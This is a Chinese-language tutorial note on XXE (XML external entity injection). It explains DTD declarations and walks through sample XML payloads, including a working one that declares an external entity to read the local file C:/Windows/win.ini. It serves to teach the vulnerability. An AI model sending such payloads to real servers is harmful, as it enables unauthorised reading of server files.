zoukankan      html  css  js  c++  java
  • XXE漏洞笔记

    一、什么是XXE漏洞

    XXE漏洞全称为XML External Entity,也就是xml外部实体注入,攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
    也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。可造成文件读取、命令执行、内网端口扫描等等危害

    二、什么是xml,DTD

    DTD全称是The document type definition,即是文档类型定义,
    可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

    三、引用方法

        DTD 内部声明
        <!DOCTYPE 根元素 [元素声明]>
    
        DTD 外部引用(可以读取本地文件)
        <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
    
        引用公共DTD(可以调用远程文件)
        <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
    

    几个小dome

    <?xml version="1.0"?>
    <!DOCTYPE test[
    	<!ELEMENT test (one,two,three)>
    	<!ELEMENT one (#PCDATA)>
    	<!ELEMENT two (#PCDATA)>
    	<!ELEMENT three (#PCDATA)>
    ]>
    <test>
    	<one>one</one>
    	<two>two</two>
    	<three>three</three>
    </test>
    

    调用内部声明

    <?xml version="1.0"?>
    <!DOCTYPE test[
    	<!ELEMENT test (flag)>
    	<!ENTITY hack "hack hack hack">
    ]>
    <test>
    	<flag>&hack;</flag>
    </test>
    

    调用本地xml文件

    <?xml version="1.0"?>
    <!DOCTYPE test SYSTEM "test.dtd">
    <test>
    	<one>one</one>
    	<two>two</two>
    	<three>three</three>
    </test>
    

    读取本地文件

    <?xml version="1.0"?>
    <!DOCTYPE test[
    <!ELEMENT test (flag)>
    <!ENTITY hacker SYSTEM "file:///C:/Windows/win.ini">
    ]>
    <test>
    <flag>&hacker;</flag>
    </test>
    

    另一种调用方法

    <?xml version="1.0"?>
    <!DOCTYPE test[
    <!ELEMENT test (flag)>
    <!ENTITY % one "<!ENTITY two '66666'>">
    %one;
    ]>
    <test>
    <flag>&two;</flag>
    </test>
    
  • 相关阅读:
    three.js-texture
    three.js-binary operator
    three.js-model
    three.js-bone
    JS时间戳
    JQUERY删除操作
    Synchronized和Static Synchronized区别
    JQUERY 保存成功后又下角动态提示
    jquery from提交和post提交
    防止多次领取红包进行ID锁
  • 原文地址:https://www.cnblogs.com/BuFFERer/p/12534194.html
Copyright © 2011-2022 走看看